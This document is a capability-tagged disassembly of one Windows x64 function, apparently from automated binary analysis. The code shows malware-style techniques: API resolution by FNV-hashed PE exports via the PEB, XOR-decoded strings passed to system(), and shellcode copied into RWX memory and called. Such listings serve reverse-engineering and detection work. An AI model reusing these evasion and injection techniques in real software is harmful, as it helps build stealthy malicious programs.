Function at 0x140055e74
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute command
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Set console window title
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14036cbc0]
xor rax, rsp
mov qword [rbp - 8], rax
or r13d, 0xffffffff
xor edi, edi
lea r15d, [rdi + 1]
mov r12d, 0x60ac7e39
cmp byte [reloc.WS2_32.dll_accept], dil
je 0x140055fa9
mov rax, qword [0x14036e8d8]
test rax, rax
jne 0x140055f65
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r10, rbx
mov rdx, qword [r10 + 0x30]
movsxd rax, dword [rdx + 0x3c]
mov r8d, dword [rax + rdx + 0x88]
add r8, rdx
cmp r8, rdx
je 0x140055f4a
mov r9d, dword [r8 + 0x18]
test r9d, r9d
je 0x140055f4a
mov r14d, dword [r8 + 0x20]
add r9d, r13d
lea rax, [rdx + r9*4]
mov ecx, dword [rax + r14]
add rcx, rdx
mov r11d, 0x811c9dc5
mov al, byte [rcx]
add rcx, r15
test al, al
je 0x140055f45
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
add rcx, r15
test al, al
jne 0x140055f2a
cmp r11d, r12d
je 0x140055f8e
test r9d, r9d
jne 0x140055f0d
mov rax, qword [r10]
mov r10, rax
cmp rax, rbx
je 0x140055f5b
cmp qword [rax + 0x30], rdi
jne 0x140055ee8
mov rax, rdi
mov qword [0x14036e8d8], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x14004e244]
xor edx, edx
xor ecx, ecx
call rax
test rax, rax
je 0x140055fa9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140055fb0
mov ecx, dword [r8 + 0x1c]
add rcx, rdx
mov eax, dword [r8 + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, rdx
jmp 0x140055f5e
mov byte [reloc.WS2_32.dll_accept], r15b
mov rax, qword [0x14036e8d8]
test rax, rax
jne 0x140056058
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r10, rbx
mov rdx, qword [r10 + 0x30]
movsxd rax, dword [rdx + 0x3c]
mov r8d, dword [rax + rdx + 0x88]
add r8, rdx
cmp r8, rdx
je 0x14005603d
mov r9d, dword [r8 + 0x18]
test r9d, r9d
je 0x14005603d
mov r14d, dword [r8 + 0x20]
add r9d, r13d
lea rax, [rdx + r9*4]
mov ecx, dword [rax + r14]
add rcx, rdx
mov r11d, 0x811c9dc5
mov al, byte [rcx]
add rcx, r15
test al, al
je 0x140056038
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
add rcx, r15
test al, al
jne 0x140056019
cmp r11d, r12d
je 0x1400560cd
test r9d, r9d
jne 0x140055ffc
mov rax, qword [r10]
mov r10, rax
cmp rax, rbx
je 0x14005604e
cmp qword [rax + 0x30], rdi
jne 0x140055fd7
mov rax, rdi
mov qword [0x14036e8d8], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x14004e1c0]
xor edx, edx
xor ecx, ecx
call rax
mov edx, 0x50
lea rcx, [rbp - 0x30]
call fcn.1400534e0
cmp qword [rax + 0x18], 0xf
jbe 0x140056089
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov r13d, 0x1000
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400560f0
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r13
jb 0x1400560eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400560eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, dword [r8 + 0x1c]
add rcx, rdx
mov eax, dword [r8 + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, rdx
jmp 0x140056051
call fcn.1400ba308
call fcn.140054e08
movsd xmm0, qword [str._WQ]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x1401313a8]
mov word [rbp - 0x48], ax
mov al, byte [0x1401313aa]
mov byte [rbp - 0x46], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov r14d, 0x24924925
mov r12b, Ordinal_50
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0xb
jl 0x140056126
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14036d7e0]
call fcn.140065310
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.R_4i]
mov dword [rbp - 0x50], eax
cmp byte [0x1401313af], dil
je 0x1400561be
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 4
jl 0x14005618f
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [0x1401313b0]
mov qword [rbp - 0x50], rax
cmp byte [0x1401313b7], dil
je 0x140056212
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x1400561e3
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movsd xmm0, qword [0x1401313b8]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x1401313c0]
mov word [rbp - 0x48], ax
mov al, byte [0x1401313c2]
mov byte [rbp - 0x46], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0xb
jl 0x140056243
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x1401313c8]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x1401313d8]
mov dword [rbp - 0x40], eax
mov al, byte [0x1401313dc]
mov byte [rbp - 0x3c], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x15
jl 0x14005629f
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x1401313e0]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x1401313f0]
mov dword [rbp - 0x40], eax
mov al, byte [0x1401313f4]
mov byte [rbp - 0x3c], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x15
jl 0x1400562fb
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x1401313f8]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140131408]
mov dword [rbp - 0x40], eax
mov al, byte [0x14013140c]
mov byte [rbp - 0x3c], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x15
jl 0x140056357
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x140131410]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140131420]
mov dword [rbp - 0x40], eax
mov al, byte [0x140131424]
mov byte [rbp - 0x3c], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x15
jl 0x1400563b3
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x140131428]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140131438]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14013143c]
mov word [rbp - 0x3c], ax
mov al, byte [0x14013143e]
mov byte [rbp - 0x3a], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x17
jl 0x14005641a
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x140131440]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140131450]
mov dword [rbp - 0x40], eax
movzx eax, word [0x140131454]
mov word [rbp - 0x3c], ax
cmp byte [0x140131455], dil
je 0x1400564b0
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x16
jl 0x140056481
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x140131458]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140131468]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14013146c]
mov word [rbp - 0x3c], ax
cmp byte [0x14013146d], dil
je 0x140056517
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x16
jl 0x1400564e8
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x140131470]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140131480]
mov dword [rbp - 0x40], eax
movzx eax, word [0x140131484]
mov word [rbp - 0x3c], ax
mov al, byte [0x140131486]
mov byte [rbp - 0x3a], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x17
jl 0x14005654f
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x140131488]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x140131498]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14013149c]
mov word [rbp - 0x3c], ax
mov al, byte [0x14013149e]
mov byte [rbp - 0x3a], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x17
jl 0x1400565b6
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x1401314a0]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x1401314b0]
mov dword [rbp - 0x40], eax
movzx eax, word [0x1401314b4]
mov word [rbp - 0x3c], ax
cmp byte [0x1401314b5], dil
je 0x14005664c
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x16
jl 0x14005661d
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movsd xmm0, qword [0x1401314b8]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1401314c0]
mov dword [rbp - 0x48], eax
mov al, byte [0x1401314c4]
mov byte [rbp - 0x44], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0xd
jl 0x14005667b
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movsd xmm0, qword [0x1401314c8]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1401314d0]
mov dword [rbp - 0x48], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], dil
je 0x140056708
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0xc
jl 0x1400566d9
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movsd xmm0, qword [0x1401314d8]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x1401314e0]
mov word [rbp - 0x48], ax
cmp byte [0x1401314e1], dil
je 0x140056768
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0xa
jl 0x140056739
lea rcx, [rbp - 0x50]
call fcn.14001ad54
mov eax, dword [0x1401314e4]
mov dword [rbp - 0x50], eax
mov al, byte [0x1401314e8]
mov byte [rbp - 0x4c], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 5
jl 0x14005678a
lea rcx, [rbp - 0x50]
call fcn.14001ad54
mov rax, qword [0x1401314f0]
mov qword [rbp - 0x50], rax
cmp byte [0x1401314f7], dil
je 0x14005680c
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x1400567dd
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x1401314f8]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140131508]
movups xmmword [rbp - 0x20], xmm1
mov eax, dword [0x140131518]
mov dword [rbp - 0x10], eax
movzx eax, word [0x14013151c]
mov word [rbp - 0xc], ax
mov al, byte [0x14013151e]
mov byte [rbp - 0xa], al
mov r8d, edi
lea r9, [rbp - 0x30]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x27
jl 0x14005684f
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp - 0x30]
or rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140056898
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.14002f578
nop
mov edx, r15d
lea rcx, [rbp - 0x50]
call fcn.14004aeb0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400568f3
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, r13
jb 0x1400568ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056cda
call fcn.1400ba308
movups xmm0, xmmword [0x140131520]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140131530]
movups xmmword [rbp - 0x20], xmm1
mov eax, dword [0x140131540]
mov dword [rbp - 0x10], eax
mov al, byte [0x140131544]
mov byte [rbp - 0xc], al
mov r8d, edi
lea r9, [rbp - 0x30]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x25
jl 0x140056922
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp - 0x30]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140056967
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.14002f578
nop
mov edx, r15d
lea rcx, [rbp - 0x50]
call fcn.14004b430
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400569c2
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, r13
jb 0x1400569bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056cda
call fcn.1400ba308
movups xmm0, xmmword [0x140131548]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140131558]
movups xmmword [rbp - 0x20], xmm1
mov eax, dword [0x140131568]
mov dword [rbp - 0x10], eax
mov r8d, edi
lea r9, [rbp - 0x30]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x24
jl 0x1400569e8
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp - 0x30]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140056a2d
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.14002f578
nop
mov edx, r15d
lea rcx, [rbp - 0x50]
call fcn.14004b170
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140056a88
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, r13
jb 0x140056a83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056cda
call fcn.1400ba308
mov eax, dword [0x14013156c]
mov dword [rbp - 0x50], eax
mov al, byte [0x140131570]
mov byte [rbp - 0x4c], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 5
jl 0x140056aa1
lea rcx, [rbp - 0x50]
call fcn.14001ad54
movups xmm0, xmmword [0x140131578]
movups xmmword [rbp - 0x50], xmm0
movzx eax, word [0x140131588]
mov word [rbp - 0x40], ax
mov al, byte [0x14013158a]
mov byte [rbp - 0x3e], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x13
jl 0x140056aff
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rbp - 0x50]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140056b44
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.14002f578
nop
mov edx, r15d
lea rcx, [rbp - 0x30]
call fcn.14004aeb0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140056b9f
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r13
jb 0x140056b9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056cda
call fcn.1400ba308
lea rbx, [0x140283300]
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140040c94
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rbx, qword [0x140283300]
mov r8, qword [0x140283310]
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.140041628
lea rdx, [rbp - 0x30]
lea rcx, [0x14036d7e0]
call fcn.140066c30
cmp byte [0x14036d9f0], dil
je 0x140056ebc
mov byte [0x14036d462], r15b
call fcn.1400493ac
movups xmm0, xmmword [0x140131590]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1401315a0]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x1401315a8]
mov word [rbp - 0x38], ax
mov al, byte [0x1401315aa]
mov byte [rbp - 0x36], al
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
add r8d, r15d
add r9, r15
cmp r8d, 0x1b
jl 0x140056c43
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rbp - 0x50]
inc rsi
cmp byte [rax + rsi], dil
jne 0x140056c85
mov r8, rsi
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.14002f578
nop
mov edx, r15d
lea rcx, [rbp - 0x30]
call fcn.14004aeb0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140056ce6
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r13
jb 0x140056ce1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140056ce1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ba308
call fcn.14004e4b4
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x14004a8d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x14036d74c], eax
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x14036d750], eax
lea r12, [rbp + 0x28]
movabs r13, 0x7a5db90d33787107
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r12
mov rbx, qword [r12]
xor rbx, r13
mov qword [rbp - 0x50], rbx
mov qword [r12], rdi
mov ecx, edi
lea r14, [0x140041300]
lea rsi, [0x140000000]
mov rax, qword [0x14036e280]
test rax, rax
je 0x140056d9e
mov rdx, rdi
cmp rax, r14
je 0x140056d8d
add ecx, r15d
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x36e280]
test rax, rax
jne 0x140056d74
jmp 0x140056d9e
mov rdx, qword [rsi + rdx*8 + 0x36e5a0]
test rdx, rdx
jne 0x140056e7c
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140056dc5
mov rdx, rdi
jmp 0x140056e5b
mov rax, r14
mov rcx, rdx
mov r8d, 3
lea r9d, [r8 + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub r8, 1
jne 0x140056dd5
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14036e278]
mov qword [rsi + rax*8 + 0x36e280], r14
mov qword [rsi + rax*8 + 0x36e5a0], rdx
add rax, r15
mov qword [0x14036e278], rax
lea rcx, [0x140050034]
call rdx
nop
xor rbx, r13
mov qword [r12], rbx
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400ba780
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x50]
call fcn.1400455a0
mov r8, rax
cmp byte [rax + 1], dil
je 0x140056f01
mov r9, rax
mov eax, r14d
mul edi
mov ecx, edi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
movsx eax, cl
imul ecx, eax, 0x38
mov al, dil
sub al, cl
add al, r12b
xor byte [r9], al
add edi, r15d
add r9, r15
cmp edi, 2
jl 0x140056ed5
mov rcx, r8
call fcn.14001ad54
mov edx, r15d
lea rcx, [0x14036d9f8]
call fcn.14004b170
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3